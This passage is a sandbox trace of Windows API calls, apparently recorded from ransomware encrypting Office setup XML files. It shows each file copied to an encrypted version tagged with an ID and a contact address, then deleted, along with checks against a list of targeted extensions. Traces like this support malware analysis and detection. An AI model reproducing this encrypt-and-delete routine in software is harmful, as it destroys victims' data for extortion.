	[0100.083] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\setup.xml")) returned 0x20
	[0100.083] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.XML.id-9C354B42.[rocosmon@cock.li].4k" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\setup.xml.id-9c354b42.[rocosmon@cock.li].4k")) returned 0xffffffff
	[0100.083] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x18c
	[0100.083] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b0fec8 | out: lpNewFilePointer=0x0) returned 1
	[0100.083] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b0fec8 | out: lpNewFilePointer=0x0) returned 1
	[0100.083] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.XML.id-9C354B42.[rocosmon@cock.li].4k" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\setup.xml.id-9c354b42.[rocosmon@cock.li].4k"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184
	[0100.084] GetLastError () returned 0x0
	[0100.084] ReadFile (in: hFile=0x18c, lpBuffer=0x3120020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b0fed4, lpOverlapped=0x0 | out: lpBuffer=0x3120020*, lpNumberOfBytesRead=0x2b0fed4*=0x2488, lpOverlapped=0x0) returned 1
	[0100.131] WriteFile (in: hFile=0x184, lpBuffer=0x3120020*, nNumberOfBytesToWrite=0x2490, lpNumberOfBytesWritten=0x2b0fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3120020*, lpNumberOfBytesWritten=0x2b0fc9c*=0x2490, lpOverlapped=0x0) returned 1
	[0100.132] ReadFile (in: hFile=0x18c, lpBuffer=0x3120020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b0fed4, lpOverlapped=0x0 | out: lpBuffer=0x3120020*, lpNumberOfBytesRead=0x2b0fed4*=0x0, lpOverlapped=0x0) returned 1
	[0100.132] WriteFile (in: hFile=0x184, lpBuffer=0x3120020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x2b0fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3120020*, lpNumberOfBytesWritten=0x2b0fc9c*=0xe6, lpOverlapped=0x0) returned 1
	[0100.132] SetEndOfFile (hFile=0x184) returned 1
	[0100.132] CloseHandle (hObject=0x184) returned 1
	[0100.133] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b0fec8 | out: lpNewFilePointer=0x0) returned 1
	[0100.133] SetEndOfFile (hFile=0x18c) returned 1
	[0100.134] CloseHandle (hObject=0x18c) returned 1
	[0100.134] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.XML.id-9C354B42.[rocosmon@cock.li].4k", dwFileAttributes=0x20) returned 1
	[0100.134] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\setup.xml")) returned 1
	[0100.134] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.XML") returned 102
	[0100.134] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.XML") returned 102
	[0100.135] lstrlenW (lpString=".doc") returned 4
	[0100.135] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1
	[0100.135] lstrlenW (lpString=".docx") returned 5
	[0100.135] lstrcmpiW (lpString1=".docx", lpString2="P.XML") returned -1
	[0100.135] lstrlenW (lpString=".pdf") returned 4
	[0100.135] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1
	[0100.135] lstrlenW (lpString=".xls") returned 4
	[0100.135] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1
	[0100.135] lstrlenW (lpString=".xlsx") returned 5
	[0100.135] lstrcmpiW (lpString1=".xlsx", lpString2="P.XML") returned -1
	[0100.135] lstrlenW (lpString=".ppt") returned 4
	[0100.135] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1
	[0100.135] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.XML") returned 102
	[0100.135] lstrlenW (lpString=".zip") returned 4
	[0100.135] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1
	[0100.135] lstrlenW (lpString=".rar") returned 4
	[0100.135] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1
	[0100.135] lstrlenW (lpString=".bz2") returned 4
	[0100.135] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1
	[0100.135] lstrlenW (lpString=".7z") returned 3
	[0100.135] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1
	[0100.135] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.XML") returned 102
	[0100.135] lstrlenW (lpString=".dbf") returned 4
	[0100.135] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1
	[0100.135] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.XML") returned 102
	[0100.135] lstrlenW (lpString=".1cd") returned 4
	[0100.135] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1
	[0100.135] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.XML") returned 102
	[0100.135] lstrlenW (lpString=".jpg") returned 4
	[0100.136] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1
	[0100.136] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.XML") returned 102
	[0100.136] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.XML") returned 102
	[0100.136] lstrlenW (lpString=".doc") returned 4
	[0100.136] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1
	[0100.136] lstrlenW (lpString=".docx") returned 5
	[0100.136] lstrcmpiW (lpString1=".docx", lpString2="P.XML") returned -1
	[0100.136] lstrlenW (lpString=".pdf") returned 4
	[0100.136] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1
	[0100.136] lstrlenW (lpString=".xls") returned 4
	[0100.136] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1
	[0100.136] lstrlenW (lpString=".xlsx") returned 5
	[0100.136] lstrcmpiW (lpString1=".xlsx", lpString2="P.XML") returned -1
	[0100.136] lstrlenW (lpString=".ppt") returned 4
	[0100.136] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1
	[0100.136] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.XML") returned 102
	[0100.136] lstrlenW (lpString=".zip") returned 4
	[0100.136] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1
	[0100.136] lstrlenW (lpString=".rar") returned 4
	[0100.136] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1
	[0100.136] lstrlenW (lpString=".bz2") returned 4
	[0100.136] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1
	[0100.137] lstrlenW (lpString=".7z") returned 3
	[0100.137] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1
	[0100.137] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.XML") returned 102
	[0100.137] lstrlenW (lpString=".dbf") returned 4
	[0100.137] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1
	[0100.137] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.XML") returned 102
	[0100.137] lstrlenW (lpString=".1cd") returned 4
	[0100.137] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1
	[0100.137] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.XML") returned 102
	[0100.137] lstrlenW (lpString=".jpg") returned 4
	[0100.137] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1
	[0100.137] lstrcmpiW (lpString1=".XML", lpString2=".4k") returned 1
	[0100.137] lstrlenW (lpString="Office32MUI.XML") returned 15
	[0100.137] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\Office32MUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office32.en-us\\office32mui.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x18c
	[0100.138] GetFileSizeEx (in: hFile=0x18c, lpFileSize=0x2b0ff1c | out: lpFileSize=0x2b0ff1c*=1383) returned 1
	[0100.138] CloseHandle (hObject=0x18c) returned 1
	[0100.138] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\Office32MUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office32.en-us\\office32mui.xml")) returned 0x20
	[0100.138] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\Office32MUI.XML.id-9C354B42.[rocosmon@cock.li].4k" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office32.en-us\\office32mui.xml.id-9c354b42.[rocosmon@cock.li].4k")) returned 0xffffffff
	[0100.139] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\Office32MUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office32.en-us\\office32mui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x18c
	[0100.139] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b0fec8 | out: lpNewFilePointer=0x0) returned 1
	[0100.139] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b0fec8 | out: lpNewFilePointer=0x0) returned 1
	[0100.139] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\Office32MUI.XML.id-9C354B42.[rocosmon@cock.li].4k" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office32.en-us\\office32mui.xml.id-9c354b42.[rocosmon@cock.li].4k"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184
	[0100.155] GetLastError () returned 0x0
	[0100.156] ReadFile (in: hFile=0x18c, lpBuffer=0x3120020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b0fed4, lpOverlapped=0x0 | out: lpBuffer=0x3120020*, lpNumberOfBytesRead=0x2b0fed4*=0x567, lpOverlapped=0x0) returned 1
	[0100.619] WriteFile (in: hFile=0x184, lpBuffer=0x3120020*, nNumberOfBytesToWrite=0x570, lpNumberOfBytesWritten=0x2b0fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3120020*, lpNumberOfBytesWritten=0x2b0fc9c*=0x570, lpOverlapped=0x0) returned 1
	[0100.621] ReadFile (in: hFile=0x18c, lpBuffer=0x3120020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b0fed4, lpOverlapped=0x0 | out: lpBuffer=0x3120020*, lpNumberOfBytesRead=0x2b0fed4*=0x0, lpOverlapped=0x0) returned 1
	[0100.621] WriteFile (in: hFile=0x184, lpBuffer=0x3120020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2b0fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3120020*, lpNumberOfBytesWritten=0x2b0fc9c*=0xf2, lpOverlapped=0x0) returned 1
	[0100.621] SetEndOfFile (hFile=0x184) returned 1
	[0100.621] CloseHandle (hObject=0x184) returned 1
	[0100.621] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b0fec8 | out: lpNewFilePointer=0x0) returned 1
	[0100.621] SetEndOfFile (hFile=0x18c) returned 1
	[0100.622] CloseHandle (hObject=0x18c) returned 1
	[0100.622] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\Office32MUI.XML.id-9C354B42.[rocosmon@cock.li].4k", dwFileAttributes=0x20) returned 1
	[0100.622] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\Office32MUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office32.en-us\\office32mui.xml")) returned 1
	[0100.623] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\Office32MUI.XML") returned 110
	[0100.623] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\Office32MUI.XML") returned 110
	[0100.623] lstrlenW (lpString=".doc") returned 4
	[0100.623] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1
	[0100.623] lstrlenW (lpString=".docx") returned 5
	[0100.623] lstrcmpiW (lpString1=".docx", lpString2="I.XML") returned -1
	[0100.623] lstrlenW (lpString=".pdf") returned 4
	[0100.623] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1
	[0100.623] lstrlenW (lpString=".xls") returned 4
	[0100.623] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1
	[0100.623] lstrlenW (lpString=".xlsx") returned 5
	[0100.623] lstrcmpiW (lpString1=".xlsx", lpString2="I.XML") returned -1
	[0100.623] lstrlenW (lpString=".ppt") returned 4
	[0100.623] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1
	[0100.623] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\Office32MUI.XML") returned 110
	[0100.623] lstrlenW (lpString=".zip") returned 4
	[0100.623] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1
	[0100.624] lstrlenW (lpString=".rar") returned 4
	[0100.624] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1
	[0100.624] lstrlenW (lpString=".bz2") returned 4
	[0100.624] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1
	[0100.624] lstrlenW (lpString=".7z") returned 3
	[0100.624] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1
	[0100.624] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\Office32MUI.XML") returned 110
	[0100.624] lstrlenW (lpString=".dbf") returned 4
	[0100.624] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1
	[0100.624] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\Office32MUI.XML") returned 110
	[0100.624] lstrlenW (lpString=".1cd") returned 4
	[0100.624] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1
	[0100.624] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\Office32MUI.XML") returned 110
	[0100.624] lstrlenW (lpString=".jpg") returned 4
	[0100.624] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1
	[0100.624] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\Office32MUI.XML") returned 110
	[0100.624] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\Office32MUI.XML") returned 110
	[0100.624] lstrlenW (lpString=".doc") returned 4
	[0100.624] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1
	[0100.624] lstrlenW (lpString=".docx") returned 5
	[0100.624] lstrcmpiW (lpString1=".docx", lpString2="I.XML") returned -1
	[0100.624] lstrlenW (lpString=".pdf") returned 4
	[0100.624] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1
	[0100.624] lstrlenW (lpString=".xls") returned 4
	[0100.624] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1
	[0100.624] lstrlenW (lpString=".xlsx") returned 5
	[0100.625] lstrcmpiW (lpString1=".xlsx", lpString2="I.XML") returned -1
	[0100.625] lstrlenW (lpString=".ppt") returned 4
	[0100.625] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1
	[0100.625] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\Office32MUI.XML") returned 110
	[0100.625] lstrlenW (lpString=".zip") returned 4
	[0100.625] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1
	[0100.625] lstrlenW (lpString=".rar") returned 4
	[0100.625] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1
	[0100.625] lstrlenW (lpString=".bz2") returned 4
	[0100.625] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1
	[0100.625] lstrlenW (lpString=".7z") returned 3
	[0100.625] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1
	[0100.625] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\Office32MUI.XML") returned 110
	[0100.625] lstrlenW (lpString=".dbf") returned 4
	[0100.625] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1
	[0100.625] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\Office32MUI.XML") returned 110
	[0100.625] lstrlenW (lpString=".1cd") returned 4
	[0100.625] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1
	[0100.625] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\Office32MUI.XML") returned 110
	[0100.625] lstrlenW (lpString=".jpg") returned 4
	[0100.625] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1
	[0100.626] lstrcmpiW (lpString1=".XML", lpString2=".4k") returned 1
	[0100.626] lstrlenW (lpString="Proofing.XML") returned 12
	[0100.626] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\Proofing.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proofing.en-us\\proofing.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8
	[0100.822] GetFileSizeEx (in: hFile=0x1e8, lpFileSize=0x2b0ff1c | out: lpFileSize=0x2b0ff1c*=811) returned 1
	[0100.822] CloseHandle (hObject=0x1e8) returned 1
	[0100.823] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\Proofing.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proofing.en-us\\proofing.xml")) returned 0x20
	[0100.823] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\Proofing.XML.id-9C354B42.[rocosmon@cock.li].4k" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proofing.en-us\\proofing.xml.id-9c354b42.[rocosmon@cock.li].4k")) returned 0xffffffff
	[0100.823] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\Proofing.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proofing.en-us\\proofing.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8
	[0100.823] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b0fec8 | out: lpNewFilePointer=0x0) returned 1
	[0100.823] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b0fec8 | out: lpNewFilePointer=0x0) returned 1
	[0100.823] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\Proofing.XML.id-9C354B42.[rocosmon@cock.li].4k" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proofing.en-us\\proofing.xml.id-9c354b42.[rocosmon@cock.li].4k"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x18c
	[0100.824] GetLastError () returned 0x0
	[0100.824] ReadFile (in: hFile=0x1e8, lpBuffer=0x3120020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b0fed4, lpOverlapped=0x0 | out: lpBuffer=0x3120020*, lpNumberOfBytesRead=0x2b0fed4*=0x32b, lpOverlapped=0x0) returned 1
	[0100.837] WriteFile (in: hFile=0x18c, lpBuffer=0x3120020*, nNumberOfBytesToWrite=0x330, lpNumberOfBytesWritten=0x2b0fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3120020*, lpNumberOfBytesWritten=0x2b0fc9c*=0x330, lpOverlapped=0x0) returned 1
	[0100.838] ReadFile (in: hFile=0x1e8, lpBuffer=0x3120020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b0fed4, lpOverlapped=0x0 | out: lpBuffer=0x3120020*, lpNumberOfBytesRead=0x2b0fed4*=0x0, lpOverlapped=0x0) returned 1
	[0100.838] WriteFile (in: hFile=0x18c, lpBuffer=0x3120020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2b0fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3120020*, lpNumberOfBytesWritten=0x2b0fc9c*=0xec, lpOverlapped=0x0) returned 1
	[0100.838] SetEndOfFile (hFile=0x18c) returned 1
	[0100.862] CloseHandle (hObject=0x18c) returned 1
	[0100.862] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b0fec8 | out: lpNewFilePointer=0x0) returned 1
	[0100.862] SetEndOfFile (hFile=0x1e8) returned 1
	[0100.863] CloseHandle (hObject=0x1e8) returned 1
	[0100.863] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\Proofing.XML.id-9C354B42.[rocosmon@cock.li].4k", dwFileAttributes=0x20) returned 1
	[0100.864] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\Proofing.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proofing.en-us\\proofing.xml")) returned 1
	[0100.864] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\Proofing.XML") returned 107
	[0100.864] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\Proofing.XML") returned 107
	[0100.864] lstrlenW (lpString=".doc") returned 4
	[0100.864] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1
	[0100.864] lstrlenW (lpString=".docx") returned 5
	[0100.864] lstrcmpiW (lpString1=".docx", lpString2="g.XML") returned -1
	[0100.864] lstrlenW (lpString=".pdf") returned 4
	[0100.864] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1
	[0100.864] lstrlenW (lpString=".xls") returned 4
	[0100.864] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1
	[0100.864] lstrlenW (lpString=".xlsx") returned 5
	[0100.864] lstrcmpiW (lpString1=".xlsx", lpString2="g.XML") returned -1
	[0100.864] lstrlenW (lpString=".ppt") returned 4
	[0100.864] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1
	[0100.864] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\Proofing.XML") returned 107
	[0100.864] lstrlenW (lpString=".zip") returned 4
	[0100.864] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1
	[0100.865] lstrlenW (lpString=".rar") returned 4
	[0100.865] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1
	[0100.865] lstrlenW (lpString=".bz2") returned 4
	[0100.865] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1
	[0100.865] lstrlenW (lpString=".7z") returned 3
	[0100.865] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1
	[0100.865] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\Proofing.XML") returned 107
	[0100.865] lstrlenW (lpString=".dbf") returned 4
	[0100.865] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1
	[0100.865] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\Proofing.XML") returned 107
	[0100.865] lstrlenW (lpString=".1cd") returned 4
	[0100.865] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1
	[0100.865] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\Proofing.XML") returned 107
	[0100.865] lstrlenW (lpString=".jpg") returned 4
	[0100.865] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1
	[0100.865] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\Proofing.XML") returned 107
	[0100.865] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\Proofing.XML") returned 107
	[0100.865] lstrlenW (lpString=".doc") returned 4
	[0100.865] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1
	[0100.865] lstrlenW (lpString=".docx") returned 5
	[0100.865] lstrcmpiW (lpString1=".docx", lpString2="g.XML") returned -1
	[0100.865] lstrlenW (lpString=".pdf") returned 4
	[0100.865] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1
	[0100.865] lstrlenW (lpString=".xls") returned 4
	[0100.865] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1
	[0100.865] lstrlenW (lpString=".xlsx") returned 5
	[0100.865] lstrcmpiW (lpString1=".xlsx", lpString2="g.XML") returned -1
	[0100.866] lstrlenW (lpString=".ppt") returned 4
	[0100.866] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1
	[0100.866] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\Proofing.XML") returned 107
	[0100.866] lstrlenW (lpString=".zip") returned 4
	[0100.866] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1
	[0100.866] lstrlenW (lpString=".rar") returned 4
	[0100.866] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1
	[0100.866] lstrlenW (lpString=".bz2") returned 4
